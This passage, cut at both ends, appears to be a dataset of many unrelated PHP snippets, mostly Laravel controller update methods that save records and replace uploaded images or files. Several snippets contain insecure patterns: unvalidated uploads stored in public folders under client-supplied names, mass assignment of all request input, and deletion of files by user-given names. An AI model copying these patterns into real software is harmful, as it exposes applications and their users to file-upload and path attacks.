$request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | 